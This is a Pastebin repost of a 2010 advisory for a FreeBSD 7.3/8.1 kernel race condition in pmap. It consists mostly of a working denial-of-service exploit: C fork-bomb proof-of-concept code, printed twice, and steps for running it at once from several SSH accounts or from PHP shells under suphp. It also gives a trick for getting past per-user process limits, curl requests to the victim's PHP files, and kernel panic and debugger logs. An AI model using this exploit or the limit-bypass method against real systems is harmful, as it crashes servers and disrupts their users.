Tr3v0r

[BSD] FreeBSD 8.1/7.3 vm.pmap Kernel Local Race Condition

Sep 9th, 2014
278
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 8.16 KB | None | 0 0
  1. ===================================================
  2. FreeBSD 8.1/7.3 vm.pmap Kernel Local Race Condition
  3. ===================================================
  4.  
  5.  
  6. Date:
  7. - - Dis.: 09.07.2010
  8. - - Pub.: 07.09.2010
  9.  
  10. Affected Software (verified):
  11. - - FreeBSD 7.3/8.1
  12.  
  13. Original URL:
  14. http://securityreason.com/achievement_securityalert/88
  15.  
  16.  
  17. - --- 0.Description ---
  18. maxproc
  19. This is the maximum number of processes a user may be running. This
  20. includes foreground and background processes alike. For obvious reasons,
  21. this may not be larger than the system limit specified by the
  22. kern.maxproc sysctl(8). Also note that setting this too small may hinder
  23. a user's productivity: it is often useful to be logged in multiple times
  24. or execute pipelines. Some tasks, such as compiling a large program,
  25. also spawn multiple processes (e.g., make(1), cc(1), and other
  26. intermediate preprocessors).
  27. vm.pmap.shpgperproc
  28.  
  29.  
  30. - --- 1. FreeBSD 8.1/7.3 kernel local race condition ---
  31. Race condition in pmap, allows attackers to denial of service freebsd
  32. kernel. Creating a lot of process by fork() (~ kern.maxproc), it's
  33. possible to denial kernel.
  34. To bypass the MAXPROC from login.conf, we can use a few users to run PoC
  35. in this same time, to reach kern.maxproc. suphp can be very usefully.
  36.  
  37. We need choose vector attack. When we have access to few users via ssh,
  38. use openssh.
  39.  
  40. Example attack by ssh
  41. POC:
  42.  
  43. /*
  44. FreeBSD 7.3/8.1 pmap race condition PoC
  45. Credit: Maksymilian Arciemowicz
  46. */
  47. #include <stdio.h>
  48. #include <sys/types.h>
  49. #include <unistd.h>
  50.  
  51. void newproc(){
  52. again:
  53. fork();
  54. sleep(3600*24);
  55. goto again;
  56. }
  57.  
  58. void runfork(){
  59. pid_t adr;
  60. if(0!=(adr=fork())) printf("fork not zero\n");
  61. else {
  62. printf("fork zero\n");
  63. newproc();
  64. }
  65. }
  66.  
  67. int main(){
  68.  
  69. int secdel=5;
  70. int dev;
  71.  
  72. // clock with (int)secdel secound frequency
  73. while(1){
  74. printf("sleep %i sec\n",secdel);
  75. sleep(secdel);
  76. printf("weak up\n");
  77.  
  78. // create 512 processes
  79. dev=512;
  80. while(dev--)
  81. runfork();
  82. }
  83. return 0;
  84. }
  85.  
  86.  
  87. 127# ssh cx () 0
  88. Password:
  89. $ gcc -o poc81 poc81.c
  90. $ ./poc81
  91.  
  92. and in the same time (symetric)
  93.  
  94. 127# ssh max () 0
  95. Password:
  96. $ gcc -o poc81 poc81.c
  97. $ ./poc81
  98.  
  99. Result:
  100. Jul 29 08:41:29 127 kernel: maxproc limit exceeded by uid 1002, please
  101. see tuning(7) and login.conf(5).
  102. Jul 29 08:42:01 127 last message repeated 31 times
  103. Jul 29 08:44:02 127 last message repeated 119 times
  104. Jul 29 08:50:27 127 syslogd: kernel boot file is /boot/kernel/kernel
  105. Jul 29 08:50:27 127 kernel: maxproc limit exceeded by uid 0, please see
  106. tuning(7) and login.conf(5).
  107. Jul 29 08:50:27 127 kernel: panic: get_pv_entry: increase
  108. vm.pmap.shpgperproc
  109. Jul 29 08:50:27 127 kernel: cpuid = 0
  110. Jul 29 08:50:27 127 kernel: Uptime: 13m23s
  111. Jul 29 08:50:27 127 kernel: Cannot dump. Device not defined or unavailable.
  112. Jul 29 08:50:27 127 kernel: Automatic reboot in 15 seconds - press a key
  113. on the console to abort
  114. Jul 29 08:50:27 127 kernel: --> Press a key on the console to reboot,
  115. Jul 29 08:50:27 127 kernel: --> or switch off the system now.
  116. Jul 29 08:50:27 127 kernel: Rebooting...
  117. Jul 29 08:50:27 127 kernel: Copyright (c) 1992-2010 The FreeBSD Project.
  118.  
  119. But when we have php-shell from several uid`s, we can also use suphp.
  120.  
  121. Example attack by suphp:
  122. 127# cat cxuser.php
  123. <?php
  124. system("./def");
  125. ?>
  126. 127# ls -la
  127. total 16
  128. drwxr-xr-x 2 root wheel 512 Jul 29 08:43 .
  129. drwxr-xr-x 4 root wheel 512 Jul 29 08:38 ..
  130. - -rw-r--r-- 1 cx cx 27 Jul 29 08:38 cxuser.php
  131. - -rwxr-xr-x 1 cx cx 7220 Jul 29 08:38 def
  132. - -rw-r--r-- 1 max max 27 Jul 29 08:43 maxuser.php
  133.  
  134. now remote request to cxuser.php and maxuser.php
  135.  
  136. curl http://victim/hack/cxuser.php
  137. and in the same time
  138. curl http://victim/hack/maxuser.php
  139.  
  140. result:
  141. Jul 29 08:43:07 localhost login: ROOT LOGIN (root) ON ttyv0
  142. Jul 29 08:48:30 localhost syslogd: kernel boot file is /boot/kernel/kernel
  143. Jul 29 08:48:30 localhost kernel: maxproc limit exceeded by uid 1001,
  144. please see tuning(7) and login.conf(5).
  145. Jul 29 08:48:30 localhost kernel: panic: get_pv_entry: increase
  146. vm.pmap.shpgperproc
  147. Jul 29 08:48:30 localhost kernel: cpuid = 0
  148. Jul 29 08:48:30 localhost kernel: Uptime: 4m43s
  149. Jul 29 08:48:30 localhost kernel:
  150. Jul 29 08:48:30 localhost kernel: Dump failed. Partition too small.
  151. Jul 29 08:48:30 localhost kernel: Automatic reboot in 15 seconds - press
  152. a key on the console to abort
  153. Jul 29 08:48:30 localhost kernel: Rebooting...
  154. Jul 29 08:48:30 localhost kernel: Copyright (c) 1992-2010 The FreeBSD
  155. Project.
  156.  
  157.  
  158. - ---debug log - cron (uid=0)---
  159. ...
  160. maxproc limit exceeded by uid 1002, please see tuning(7) and login.conf(5).
  161. maxproc limit exceeded by uid 1001, please see tuning(7) and login.conf(5).
  162. maxproc limit exceeded by uid 1001, please see tuning(7) and login.conf(5).
  163. maxproc limit exceeded by uid 1002, please see tuning(7) and login.conf(5).
  164. panic: get_pv_entry: increase vm.pmap.shpgperproc
  165. cpuid = 0
  166. KDB: enter: panic
  167. [ thread pid 7417 tid 106207 ]
  168. Stopped at kdb_enter+0x3a: movl $0,kdb_why
  169. ...
  170. KDB: enter: panic
  171. [ thread pid 7417 tid 106207 ]
  172. Stopped at kdb_enter+0x3a: movl $0,kdb_why
  173. db> ps
  174. pid ppid pgrp uid state wmesg wchan cmd
  175. 7417 880 880 0 RL CPU 0 cron
  176. 7416 880 880 0 RL cron
  177. 7415 7413 880 0 RVL cron
  178. 7414 7412 7412 0 R sh
  179. 7413 880 880 0 D ppwait 0xc8118548 cron
  180. 7412 7411 7412 0 Ss wait 0xc8118aa0 sh
  181. 7411 880 880 0 S piperd 0xc4d7eab8 cron
  182. 7410 5367 1294 1001 RL+ def
  183. 7409 5366 1294 1001 RL+ def
  184. 7408 5365 1294 1001 RL+ def
  185. 7407 5364 1294 1001 RL+ def
  186. 7406 5363 1294 1001 RL+ def
  187. 7405 5362 1294 1001 RL+ def
  188. 7404 5361 1294 1001 RL+ def
  189. ...
  190. db> trace
  191. Tracing pid 7417 tid 106207 td 0xc8113280
  192. kdb_enter(c0ccfb5c,c0ccfb5c,c0d0a037,e7f9da38,0,...) at kdb_enter+0x3a
  193. panic(c0d0a037,10,c0d09b5f,88c,0,...) at panic+0x136
  194. get_pv_entry(c80bcce0,0,c0d09b5f,ccd,c0fabd00,...) at get_pv entry+0x252
  195. pmap_enter(c80bcce0,a0f7000,1,c2478138,5,...) at pmap_enter+0x34c
  196. vm_fault(c8Obcc30,a0f7000,1,0,a0f711b,...) at vm_fault+0x1b02
  197. trap_pfault(5,0,c0dOblle,c0cd1707,c8118550,...) at trap_pfault+0xl0d
  198. trap(e7f9dd28) at trap+0x2d0
  199. calltrap() at calltrap+0x6
  200. - --- trap 0xc, eip = 0xa0f711b, esp = 0xbfbfec8c, ebp = 0xbfbfecc8 --
  201. db> show pcpu
  202. cpuid = 0
  203. dynamic pcpu = 0x627d00
  204. curthread = 0xc8113280: pid 7417 "cron"
  205. curpcb = 0xe7f9dd80
  206. fpcurthread = none
  207. idlethread = 0xc4183a00: tid 100003 "idle: cpu0"
  208. APIC ID = 0
  209. currentldt = 0x50
  210. spin locks held:
  211. ...
  212. db> show registers
  213. cs 0x20
  214. ds 0xc0cc0028
  215. es 0xc0d00028
  216. fs 0xc08f0008 free_unr+0x188
  217. ss 0x28
  218. eax 0xc0ccfb5c
  219. ecx 0xc148792f
  220. edx 0
  221. ebx 0xl
  222. esp 0xe7f9d9f8
  223. ebp 0xe7f9da00
  224. esi 0x100
  225. edi 0xc8113280
  226. eip 0xc08de44a kdb_enter+0x3a
  227. efl 0x286
  228. kdb_enter+0x3a: movl $0,kdb_why
  229. ...
  230. db> show page
  231. cnt.v_free_count: 104827
  232. cnt.v_cache_count: 11
  233. cnt.v_inactive_count: 3369
  234. cnt.v_active_count: 44397
  235. cnt.v_wire_count: 58250
  236. cnt.v_free_reserved: 324
  237. cnt.v_free_min: 1377
  238. cnt.v_free_target: 5832
  239. cnt.v_cache_min: 5832
  240. cnt.v_inactive_target: 8748
  241. ...
  242. - ---debug log - crash in cron (uid=0)---
  243.  
  244. - ---debug log - crash in def (uid=1001)---
  245. db> ps
  246. ...
  247. 6774 4777 2009 1001 RL+ def
  248. 6773 4777 2009 1001 RL+ CPU 0 def
  249. 6772 4777 2009 1001 RL+ def
  250. ...
  251. db> show pcpu
  252. cpuid = 0
  253. dynamic pcpu = 0x627d00
  254. curthread = Oxc8c34c80: pid 6773 "def"
  255. curpcb = Oxe97f6d80
  256. fpcurthread = none
  257. idlethread = 0xc4183a00: tid 100003 "idle: cpu0"
  258. APIC ID = 0
  259. currentldt = 0x50
  260. spin locks held:
  261. ...
  262. - ---debug log - crash in def (uid=1001)---
  263.  
  264. - --- 2. PoC def2.c ---
  265. /*
  266. FreeBSD 7.3/8.1 pmap race condition PoC
  267. Credit: Maksymilian Arciemowicz
  268. */
  269. #include <stdio.h>
  270. #include <sys/types.h>
  271. #include <unistd.h>
  272.  
  273. void newproc(){
  274. again:
  275. fork();
  276. sleep(3600*24);
  277. goto again;
  278. }
  279.  
  280. void runfork(){
  281. pid_t adr;
  282. if(0!=(adr=fork())) printf("fork not zero\n");
  283. else {
  284. printf("fork zero\n");
  285. newproc();
  286. }
  287. }
  288.  
  289. int main(){
  290.  
  291. int secdel=5;
  292. int dev;
  293.  
  294. // clock with (int)secdel secound frequency
  295. while(1){
  296. printf("sleep %i sec\n",secdel);
  297. sleep(secdel);
  298. printf("weak up\n");
  299.  
  300. // create 512 processes
  301. dev=512;
  302. while(dev--)
  303. runfork();
  304. }
  305. return 0;
  306. }
  307.  
  308.  
  309. - --- 3. Greets ---
  310. sp3x, Infospec, Adam Zabrocki 'pi3'
  311.  
  312.  
  313.  
  314. # 9F731AFB66BEE3D0 1337day.com [2014-09-09] 43BA9B750216AAA9 #
Add Comment
Please, Sign In to add comment